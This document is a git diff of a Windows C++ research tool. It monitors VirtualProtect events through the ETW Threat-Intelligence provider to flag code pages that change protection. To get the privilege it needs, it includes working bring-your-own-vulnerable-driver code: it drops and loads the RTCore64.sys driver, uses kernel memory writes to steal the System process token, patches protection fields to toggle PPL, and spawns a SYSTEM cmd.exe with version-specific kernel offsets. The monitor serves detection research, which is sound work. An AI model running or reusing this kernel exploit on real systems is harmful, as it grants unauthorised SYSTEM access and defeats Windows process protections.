WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset + 1, 0x00);
|
||||
WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset + 2, 0x00);
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
CloseHandle(Device);
|
||||
}
|
||||
|
||||
void makeSYSTEM(DWORD targetPID, Offsets offsets) {
|
||||
const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
|
||||
if (Device == INVALID_HANDLE_VALUE) {
|
||||
Log("[!] Unable to obtain a handle to the device object");
|
||||
return;
|
||||
}
|
||||
Log("[*] Device object handle has been obtained");
|
||||
|
||||
const auto NtoskrnlBaseAddress = getKernelBaseAddr();
|
||||
Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress);
|
||||
|
||||
// Locating PsInitialSystemProcess address
|
||||
HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");
|
||||
const DWORD64 PsInitialSystemProcessOffset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast<DWORD64>(Ntoskrnl);
|
||||
FreeLibrary(Ntoskrnl);
|
||||
const DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset);
|
||||
Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress);
|
||||
|
||||
// Get token value of System process
|
||||
const DWORD64 SystemProcessToken = ReadMemoryDWORD64(Device, PsInitialSystemProcessAddress + offsets.TokenOffset) & ~15;
|
||||
Log("[*] System process token: %p", SystemProcessToken);
|
||||
|
||||
// Find our process in active process list
|
||||
const DWORD64 CurrentProcessId = static_cast<DWORD64>(targetPID);
|
||||
DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.ActiveProcessLinksOffset;
|
||||
DWORD64 CurrentProcessAddress = ProcessHead;
|
||||
|
||||
do {
|
||||
const DWORD64 ProcessAddress = CurrentProcessAddress - offsets.ActiveProcessLinksOffset;
|
||||
const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + offsets.UniqueProcessIdOffset);
|
||||
if (UniqueProcessId == CurrentProcessId) {
|
||||
break;
|
||||
}
|
||||
CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + offsets.ActiveProcessLinksOffset);
|
||||
} while (CurrentProcessAddress != ProcessHead);
|
||||
|
||||
CurrentProcessAddress -= offsets.ActiveProcessLinksOffset;
|
||||
Log("[*] Current process address: %p", CurrentProcessAddress);
|
||||
|
||||
// Reading current process token
|
||||
const DWORD64 CurrentProcessFastToken = ReadMemoryDWORD64(Device, CurrentProcessAddress + offsets.TokenOffset);
|
||||
const DWORD64 CurrentProcessTokenReferenceCounter = CurrentProcessFastToken & 15;
|
||||
const DWORD64 CurrentProcessToken = CurrentProcessFastToken & ~15;
|
||||
Log("[*] Current process token: %p", CurrentProcessToken);
|
||||
|
||||
// Stealing System process token
|
||||
Log("[*] Stealing System process token ...");
|
||||
WriteMemoryDWORD64(Device, CurrentProcessAddress + offsets.TokenOffset, CurrentProcessTokenReferenceCounter | SystemProcessToken);
|
||||
|
||||
// Cleanup
|
||||
CloseHandle(Device);
|
||||
}
|
||||
|
||||
void spawnCmd(void) {
|
||||
Log("[*] Spawning new shell ...");
|
||||
|
||||
STARTUPINFOW StartupInfo{};
|
||||
StartupInfo.cb = sizeof(StartupInfo);
|
||||
PROCESS_INFORMATION ProcessInformation;
|
||||
|
||||
CreateProcessW(LR"(C:\Windows\System32\cmd.exe)",
|
||||
nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr,
|
||||
&StartupInfo,
|
||||
&ProcessInformation);
|
||||
|
||||
WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
|
||||
CloseHandle(ProcessInformation.hThread);
|
||||
CloseHandle(ProcessInformation.hProcess);
|
||||
}
|
||||
|
||||
struct Offsets getVersionOffsets() {
|
||||
wchar_t value[255] = { 0x00 };
|
||||
DWORD BufferSize = 255;
|
||||
if (ERROR_SUCCESS != RegGetValueW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ReleaseId", RRF_RT_REG_SZ, NULL, &value, &BufferSize))
|
||||
{
|
||||
wprintf(L"[!] Windows Version Not Found!\n");
|
||||
return Offsets{ 0, 0 , 0, 0 };
|
||||
}
|
||||
|
||||
// wprintf(L"[+] Windows Version %s Found\n", value);
|
||||
auto winVer = _wtoi(value);
|
||||
switch (winVer) {
|
||||
case 1607:
|
||||
return Offsets{ 0x02e8, 0x02f0, 0x0358, 0x06c8 };
|
||||
case 1803:
|
||||
case 1809:
|
||||
return Offsets{ 0x02e0, 0x02e8, 0x0358, 0x06c8 };
|
||||
case 1903:
|
||||
case 1909:
|
||||
return Offsets{ 0x02e8, 0x02f0, 0x0360, 0x06f8 };
|
||||
case 2004:
|
||||
case 2009:
|
||||
return Offsets{ 0x0440, 0x0448, 0x04b8, 0x0878 };
|
||||
default:
|
||||
wprintf(L"[!] Version Offsets Not Found!\n");
|
||||
wprintf(L"[!] Guessing offsets...this could crash!\n");
|
||||
return Offsets{ 0x0440, 0x0448, 0x04b8, 0x0878 };
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
int fileExists(TCHAR* file)
|
||||
{
|
||||
WIN32_FIND_DATA FindFileData;
|
||||
HANDLE handle = FindFirstFile(file, &FindFileData);
|
||||
int found = handle != INVALID_HANDLE_VALUE;
|
||||
if (found)
|
||||
{
|
||||
//FindClose(&handle); this will crash
|
||||
FindClose(handle);
|
||||
}
|
||||
return found;
|
||||
}
|
||||
|
||||
WCHAR* GetUserLocalTempPath() {
|
||||
//static constexpr std::wstring_view temp_label = L"\\Temp\\";
|
||||
HWND folder_handle = { 0 };
|
||||
WCHAR *temp_path = (WCHAR*)malloc(sizeof(WCHAR) * MAX_PATH);
|
||||
if (temp_path == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// the original path didn't exist for the SYSTEM user
|
||||
// just use current directory
|
||||
if (0 != GetCurrentDirectory(MAX_PATH, temp_path))
|
||||
{
|
||||
wcscat_s(temp_path, MAX_PATH, L"\\RTCore64.sys");
|
||||
// printf("Driver Install Path - %S\n", temp_path);
|
||||
return temp_path;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
BOOL GetResourcePointer(HINSTANCE Instance, LPCTSTR ResName, LPCTSTR ResType, LPVOID* ppRes, DWORD* pdwResSize) {
|
||||
// Check the pointers to which we want to write
|
||||
if (ppRes && pdwResSize) {
|
||||
HRSRC hRsrc;
|
||||
// Find the resource ResName of type ResType in the DLL/EXE described by Instance
|
||||
if (hRsrc = FindResource((HMODULE)Instance, ResName, ResType)) {
|
||||
HGLOBAL hGlob;
|
||||
// Make sure it's in memory ...
|
||||
if (hGlob = LoadResource(Instance, hRsrc)) {
|
||||
// Now lock it to get a pointer
|
||||
*ppRes = LockResource(hGlob);
|
||||
// Also retrieve the size of the resource
|
||||
*pdwResSize = SizeofResource(Instance, hRsrc);
|
||||
// Return TRUE only if both succeeded
|
||||
return (*ppRes && *pdwResSize);
|
||||
}
|
||||
}
|
||||
}
|
||||
// Failure means don't use the values in *ppRes and *pdwResSize
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HINSTANCE gInstance = NULL;
|
||||
|
||||
WCHAR* dropDriver() {
|
||||
//get driver
|
||||
LPVOID RTCoreDriver;
|
||||
DWORD driverSize;
|
||||
if (GetResourcePointer(gInstance, MAKEINTRESOURCE(IDR_RT_RCDATA1), RT_RCDATA, &RTCoreDriver, &driverSize) == FALSE) {
|
||||
wprintf(L"GetResourcePointer failed\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
auto tempPath = GetUserLocalTempPath();
|
||||
if (fileExists(tempPath)) {
|
||||
return tempPath;
|
||||
}
|
||||
|
||||
HANDLE hFile = CreateFile(tempPath, // name of the write
|
||||
GENERIC_WRITE, // open for writing
|
||||
0, // do not share
|
||||
NULL, // default security
|
||||
CREATE_NEW, // create new file only
|
||||
FILE_ATTRIBUTE_NORMAL, // normal file
|
||||
NULL); // no attr. template
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
|
||||
wprintf(L"Unable to open file \"%s\" for write. Error=%d\n", tempPath, GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
BOOL bErrorFlag = FALSE;
|
||||
DWORD dwBytesWritten = 0;
|
||||
|
||||
bErrorFlag = WriteFile(
|
||||
hFile, // open file handle
|
||||
RTCoreDriver, // start of data to write
|
||||
driverSize, // number of bytes to write
|
||||
&dwBytesWritten, // number of bytes that were written
|
||||
NULL); // no overlapped structure
|
||||
|
||||
if (FALSE == bErrorFlag)
|
||||
{
|
||||
wprintf(L"Terminal failure: Unable to write to file.\n");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (dwBytesWritten != driverSize)
|
||||
{
|
||||
// This is an error because a synchronous write that results in
|
||||
// success (WriteFile returns TRUE) should write all data as
|
||||
// requested. This would not necessarily be the case for
|
||||
// asynchronous writes.
|
||||
wprintf(L"Error: dwBytesWritten != dwBytesToWrite\n");
|
||||
}
|
||||
else
|
||||
{
|
||||
; // wprintf(L"Wrote %d bytes to %s successfully.\n", dwBytesWritten, tempPath);
|
||||
}
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return tempPath;
|
||||
|
||||
}
|
||||
+45
@@ -0,0 +1,45 @@
|
||||
#include "stdafx.h"
|
||||
|
||||
|
||||
const char* ProtectionString(DWORD Protection) {
|
||||
switch (Protection) {
|
||||
case PAGE_NOACCESS:
|
||||
return "---";
|
||||
case PAGE_READONLY:
|
||||
return "R--";
|
||||
case PAGE_READWRITE:
|
||||
return "RW-";
|
||||
case PAGE_WRITECOPY:
|
||||
return "RC-";
|
||||
case PAGE_EXECUTE:
|
||||
return "--X";
|
||||
case PAGE_EXECUTE_READ:
|
||||
return "R-X";
|
||||
case PAGE_EXECUTE_READWRITE:
|
||||
return "RWX";
|
||||
case PAGE_EXECUTE_WRITECOPY:
|
||||
return "RCX";
|
||||
}
|
||||
return "???";
|
||||
}
|
||||
|
||||
std::wstring ProcessName(DWORD processId) {
|
||||
std::wstring buffer;
|
||||
buffer.resize(32768);
|
||||
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processId);
|
||||
if (hProcess) {
|
||||
DWORD dwSize = (DWORD)buffer.size();
|
||||
if (QueryFullProcessImageNameW(hProcess, 0, &buffer[0], &dwSize))
|
||||
{
|
||||
buffer = std::filesystem::path(buffer).filename();
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
|
||||
if (buffer.empty()) {
|
||||
wsprintf(&buffer[0], L"pid:%d", processId);
|
||||
}
|
||||
|
||||
return buffer;
|
||||
}
|
||||
+289
@@ -0,0 +1,289 @@
|
||||
#include "stdafx.h"
|
||||
|
||||
#define REGISTRY_USER_PREFIX _T("\\Registry\\User\\")
|
||||
#define IMAGE_PATH _T("\\??\\")
|
||||
|
||||
ULONG
|
||||
LoadDriver(LPWSTR userSid, LPWSTR RegistryPath)
|
||||
{
|
||||
UNICODE_STRING DriverServiceName;
|
||||
NTSTATUS status;
|
||||
|
||||
typedef NTSTATUS(_stdcall* NT_LOAD_DRIVER)(IN PUNICODE_STRING DriverServiceName);
|
||||
typedef void (WINAPI* RTL_INIT_UNICODE_STRING)(PUNICODE_STRING, PCWSTR);
|
||||
|
||||
NT_LOAD_DRIVER NtLoadDriver = (NT_LOAD_DRIVER)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtLoadDriver");
|
||||
RTL_INIT_UNICODE_STRING RtlInitUnicodeString = (RTL_INIT_UNICODE_STRING)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
|
||||
|
||||
wchar_t registryPath[MAX_PATH];
|
||||
_snwprintf_s(registryPath, _TRUNCATE, L"%s%s\\%s", REGISTRY_USER_PREFIX, userSid, RegistryPath);
|
||||
|
||||
wprintf(L"[+] Loading Driver: %s\n", registryPath);
|
||||
|
||||
|
||||
RtlInitUnicodeString(&DriverServiceName, registryPath);
|
||||
|
||||
status = NtLoadDriver(&DriverServiceName);
|
||||
printf("NTSTATUS: %08x, WinError: %d\n", status, GetLastError());
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
//return RtlNtStatusToDosError(status);
|
||||
return -1;
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
//https://msdn.microsoft.com/en-us/library/windows/desktop/aa446619(v=vs.85).aspx
|
||||
BOOL SetPrivilege(
|
||||
HANDLE hToken, // access token handle
|
||||
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
|
||||
BOOL bEnablePrivilege // to enable or disable privilege
|
||||
)
|
||||
{
|
||||
TOKEN_PRIVILEGES tp;
|
||||
LUID luid;
|
||||
|
||||
if (!LookupPrivilegeValue(
|
||||
NULL, // lookup privilege on local system
|
||||
lpszPrivilege, // privilege to lookup
|
||||
&luid)) // receives LUID of privilege
|
||||
{
|
||||
wprintf(L"[-] LookupPrivilegeValue error: %u\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
if (bEnablePrivilege)
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
else
|
||||
tp.Privileges[0].Attributes = 0;
|
||||
|
||||
// Enable the privilege or disable all privileges.
|
||||
|
||||
if (!AdjustTokenPrivileges(
|
||||
hToken,
|
||||
FALSE,
|
||||
&tp,
|
||||
sizeof(TOKEN_PRIVILEGES),
|
||||
(PTOKEN_PRIVILEGES)NULL,
|
||||
(PDWORD)NULL))
|
||||
{
|
||||
wprintf(L"[-] AdjustTokenPrivileges error: %u\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
|
||||
|
||||
{
|
||||
wprintf(L"[-] The token does not have the specified privilege. \n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
ULONG
|
||||
CreateRegistryKey(
|
||||
const LPWSTR RegistryPath,
|
||||
const LPWSTR DriverPath
|
||||
)
|
||||
{
|
||||
ULONG dwErrorCode;
|
||||
HKEY hKey;
|
||||
DWORD dwDisposition;
|
||||
DWORD dwServiceType = 1;
|
||||
DWORD dwServiceErrorControl = 1;
|
||||
DWORD dwServiceStart = 3;
|
||||
SIZE_T ServiceImagePathSize;
|
||||
wchar_t registryPath[MAX_PATH], serviceImagePath[MAX_PATH];
|
||||
|
||||
_snwprintf_s(registryPath, _TRUNCATE, L"%s", RegistryPath);
|
||||
_snwprintf_s(serviceImagePath, _TRUNCATE, L"%s%s", IMAGE_PATH, DriverPath);
|
||||
|
||||
dwErrorCode = RegCreateKeyExW(HKEY_CURRENT_USER,
|
||||
registryPath,
|
||||
0,
|
||||
NULL,
|
||||
0,
|
||||
KEY_ALL_ACCESS,
|
||||
NULL,
|
||||
&hKey,
|
||||
&dwDisposition);
|
||||
|
||||
if (dwDisposition != REG_CREATED_NEW_KEY) {
|
||||
RegCloseKey(hKey);
|
||||
wprintf(L"RegCreateKeyEx failed: 0x%x\n", dwErrorCode);
|
||||
return dwErrorCode;
|
||||
}
|
||||
|
||||
ServiceImagePathSize = (lstrlenW(serviceImagePath) + 1) * sizeof(WCHAR);
|
||||
|
||||
dwErrorCode = RegSetValueExW(hKey,
|
||||
L"ImagePath",
|
||||
0,
|
||||
REG_EXPAND_SZ,
|
||||
(const BYTE*)serviceImagePath,
|
||||
(DWORD)ServiceImagePathSize);
|
||||
|
||||
if (dwErrorCode) {
|
||||
RegCloseKey(hKey);
|
||||
return dwErrorCode;
|
||||
}
|
||||
|
||||
dwErrorCode = RegSetValueExW(hKey,
|
||||
L"Type",
|
||||
0,
|
||||
REG_DWORD,
|
||||
(const BYTE*)&dwServiceType,
|
||||
sizeof(DWORD));
|
||||
|
||||
if (dwErrorCode) {
|
||||
RegCloseKey(hKey);
|
||||
return dwErrorCode;
|
||||
}
|
||||
|
||||
dwErrorCode = RegSetValueExW(hKey,
|
||||
L"ErrorControl",
|
||||
0,
|
||||
REG_DWORD,
|
||||
(const BYTE*)&dwServiceErrorControl,
|
||||
sizeof(DWORD));
|
||||
if (dwErrorCode) {
|
||||
RegCloseKey(hKey);
|
||||
return dwErrorCode;
|
||||
}
|
||||
|
||||
dwErrorCode = RegSetValueExW(hKey,
|
||||
L"Start",
|
||||
0,
|
||||
REG_DWORD,
|
||||
(const BYTE*)&dwServiceStart,
|
||||
sizeof(DWORD));
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
LPWSTR getUserSid(HANDLE hToken)
|
||||
{
|
||||
|
||||
// Get the size of the memory buffer needed for the SID
|
||||
//https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral
|
||||
//https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx
|
||||
|
||||
DWORD dwBufferSize = 0;
|
||||
if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwBufferSize) &&
|
||||
(GetLastError() != ERROR_INSUFFICIENT_BUFFER))
|
||||
{
|
||||
wprintf(L"GetTokenInformation failed, error: %d\n",
|
||||
GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral
|
||||
PTOKEN_USER pUserToken = (PTOKEN_USER)HeapAlloc(
|
||||
GetProcessHeap(),
|
||||
HEAP_ZERO_MEMORY,
|
||||
dwBufferSize);
|
||||
|
||||
if (pUserToken == NULL) {
|
||||
HeapFree(GetProcessHeap(), 0, (LPVOID)pUserToken);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Retrive token info
|
||||
if (!GetTokenInformation(
|
||||
hToken,
|
||||
TokenUser,
|
||||
pUserToken,
|
||||
dwBufferSize,
|
||||
&dwBufferSize))
|
||||
{
|
||||
GetLastError();
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Check if SID is valid
|
||||
if (!IsValidSid(pUserToken->User.Sid))
|
||||
{
|
||||
wprintf(L"The owner SID is invalid.\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
LPWSTR sidString;
|
||||
ConvertSidToStringSidW(pUserToken->User.Sid, &sidString);
|
||||
return sidString;
|
||||
}
|
||||
|
||||
int fullsend(LPWSTR RegistryPath, LPWSTR DriverImagePath)
|
||||
{
|
||||
//LPWSTR* szArglist;
|
||||
//int nArgs;
|
||||
//LPWSTR RegistryPath, DriverImagePath;
|
||||
ULONG dwErrorCode;
|
||||
int ret = 0;
|
||||
|
||||
//szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
|
||||
//if (NULL == szArglist)
|
||||
//{
|
||||
// printUsage();
|
||||
// return 0;
|
||||
//}
|
||||
|
||||
//if (nArgs != 3) {
|
||||
// printUsage();
|
||||
// LocalFree(szArglist);
|
||||
// return 0;
|
||||
//}
|
||||
|
||||
//RegistryPath = szArglist[1];
|
||||
//DriverImagePath = szArglist[2];
|
||||
|
||||
// Get Current Process Token
|
||||
HANDLE hToken;
|
||||
|
||||
if (!OpenProcessToken(GetCurrentProcess(),
|
||||
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
|
||||
{
|
||||
wprintf(L"[+] OpenProcessToken Failed\n");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
LPWSTR userSidStr;
|
||||
|
||||
userSidStr = getUserSid(hToken);
|
||||
if (userSidStr == NULL)
|
||||
{
|
||||
wprintf(L"[+] Error while getting user SID\n");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
dwErrorCode = CreateRegistryKey((LPWSTR)RegistryPath, DriverImagePath);
|
||||
if (dwErrorCode != 0) {
|
||||
wprintf(L"[-] Error while creating registry keys: error value %d\n", dwErrorCode);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Enable Privileges
|
||||
wprintf(L"[+] Enabling SeLoadDriverPrivilege\n");
|
||||
|
||||
if (SetPrivilege(hToken, SE_LOAD_DRIVER_NAME, true))
|
||||
wprintf(L"[+] SeLoadDriverPrivilege Enabled\n");
|
||||
else
|
||||
{
|
||||
wprintf(L"[-] SeLoadDriverPrivilege Failed\n");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
ret = LoadDriver(userSidStr, RegistryPath);
|
||||
|
||||
cleanup:
|
||||
CloseHandle(hToken);
|
||||
hToken = NULL;
|
||||
//LocalFree(szArglist);
|
||||
|
||||
return(ret);
|
||||
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
#include "stdafx.h"
|
||||
|
||||
// The set of all of the code pages in a process that have transitions from writable to non-writable,
|
||||
// or from executable to non-executable. In both cases, these code pages should never be modified again.
|
||||
// Proper JIT: Allocate(RW) -> memcpy(code) -> Protect(RX) -> execute [-> Free]
|
||||
// YOLO JIT: Allocate(RWX) -> memcpy(code) -> execute
|
||||
// Bad JIT: Allocate(RW) -> memcpy(code) -> Protect(RX) -> execute -> Protect(RW) -> re-use for new code
|
||||
// Fluctuation: ... -> Protect(RX) -> execute -> Protect(~X) [-> encrypt] -> Protect(RX) -> ...
|
||||
std::unordered_map <DWORD, std::set<PVOID>> g_ImmutableCodePages;
|
||||
|
||||
krabs::user_trace g_trace(L"EtwTi-FluctuationMonitor");
|
||||
|
||||
DWORD WINAPI EtwEventThread(LPVOID) {
|
||||
g_trace.start();
|
||||
return 0;
|
||||
}
|
||||
|
||||
int wmain(int, wchar_t**) {
|
||||
printf("[*] Enabling Microsoft-Windows-Threat-Intelligence (KEYWORD_PROTECTVM_LOCAL)\n");
|
||||
krabs::provider<> ti_provider(L"Microsoft-Windows-Threat-Intelligence");
|
||||
ti_provider.any(0x10); // KERNEL_THREATINT_KEYWORD_PROTECTVM_LOCAL
|
||||
|
||||
krabs::event_filter protectvm_filter(krabs::predicates::id_is(7));
|
||||
auto protectvm_cb = [](const EVENT_RECORD& record, const krabs::trace_context& trace_context) {
|
||||
krabs::schema schema(record, trace_context.schema_locator);
|
||||
krabs::parser parser(schema);
|
||||
|
||||
auto ProcessID = parser.parse<DWORD>(L"CallingProcessId");
|
||||
auto BaseAddress = parser.parse<PVOID>(L"BaseAddress");
|
||||
auto ProtectionMask = parser.parse<DWORD>(L"ProtectionMask");
|
||||
auto LastProtectionMask = parser.parse<DWORD>(L"LastProtectionMask");
|
||||
|
||||
if ((!IsExecutable(LastProtectionMask) && IsExecutable(ProtectionMask)) ||
|
||||
(IsWritable(LastProtectionMask) && !IsWritable(ProtectionMask)))
|
||||
{
|
||||
// non-executable -> executable, or
|
||||
// writeable -> non-writable.
|
||||
// These code pages should now be immutable.
|
||||
|
||||
printf("[.] %S %p %s => %s\n", ProcessName(ProcessID).c_str(), BaseAddress,
|
||||
ProtectionString(LastProtectionMask), ProtectionString(ProtectionMask));
|
||||
|
||||
auto immutable_iter = g_ImmutableCodePages.find(ProcessID);
|
||||
if (immutable_iter != g_ImmutableCodePages.cend() &&
|
||||
immutable_iter->second.find(BaseAddress) != immutable_iter->second.cend())
|
||||
{
|
||||
// An immutable code page has been potentially modfied.
|
||||
|
||||
CONSOLE_SCREEN_BUFFER_INFO console_info{};
|
||||
static auto hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
GetConsoleScreenBufferInfo(hStdOutput, &console_info);
|
||||
SetConsoleTextAttribute(hStdOutput, RED);
|
||||
printf("[!] %S %p is fluctuating\n", ProcessName(ProcessID).c_str(), BaseAddress);
|
||||
SetConsoleTextAttribute(hStdOutput, console_info.wAttributes);
|
||||
}
|
||||
else
|
||||
{
|
||||
g_ImmutableCodePages[ProcessID].insert(BaseAddress);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
protectvm_filter.add_on_event_callback(protectvm_cb);
|
||||
ti_provider.add_filter(protectvm_filter);
|
||||
g_trace.enable(ti_provider);
|
||||
|
||||
auto duration = 300;
|
||||
printf("[*] Monitoring VirtualProtect() for %d seconds\n", duration);
|
||||
InstallVulnerableDriver(); // Use BYOVD to enable PPL
|
||||
EnablePPL();
|
||||
HANDLE hThread = CreateThread(NULL, 0, EtwEventThread, NULL, 0, NULL);
|
||||
assert(NULL != hThread);
|
||||
Sleep(1000); // Wait a moment for ETW to initialise before removing PPL
|
||||
DisablePPL();
|
||||
|
||||
Sleep(duration * 1000);
|
||||
g_trace.stop();
|
||||
(void)WaitForSingleObject(hThread, INFINITE);
|
||||
printf("[*] Done\n\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="Microsoft.O365.Security.Krabsetw" version="4.3.1" targetFramework="native" />
|
||||
</packages>
|
||||
@@ -0,0 +1 @@
|
||||
#define IDR_RT_RCDATA1 101
|
||||
@@ -0,0 +1,43 @@
|
||||
#pragma once
|
||||
|
||||
#include <winsock2.h>
|
||||
#include <Windows.h>
|
||||
#define _WS2DEF_
|
||||
#include <aclapi.h>
|
||||
#include <processthreadsapi.h>
|
||||
#include <Psapi.h>
|
||||
#include <sddl.h>
|
||||
#include <shellapi.h>
|
||||
#include <Shlobj.h>
|
||||
#include <Shlobj_core.h>
|
||||
#include <strsafe.h>
|
||||
#include <tchar.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
#include <cstdio>
|
||||
#include <filesystem>
|
||||
#include <iostream>
|
||||
#include <string_view>
|
||||
|
||||
#include "krabs.hpp"
|
||||
#include "resource.h"
|
||||
|
||||
constexpr auto RED = 12;
|
||||
|
||||
constexpr auto PAGE_EXECUTE_ANY = PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY;
|
||||
constexpr auto IsExecutable = [](DWORD Protection) { return 0 != (Protection & PAGE_EXECUTE_ANY); };
|
||||
|
||||
constexpr auto PAGE_WRITE_ANY = PAGE_READWRITE | PAGE_WRITECOPY | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY;
|
||||
constexpr auto IsWritable = [](DWORD Protection) { return 0 != (Protection & PAGE_WRITE_ANY); };
|
||||
|
||||
// helpers.cpp
|
||||
const char* ProtectionString(DWORD Protection);
|
||||
std::wstring ProcessName(DWORD processId);
|
||||
|
||||
// enableppl.cpp
|
||||
VOID InstallVulnerableDriver();
|
||||
VOID EnablePPL();
|
||||
VOID DisablePPL();
|
||||
Reference in New Issue
Block a user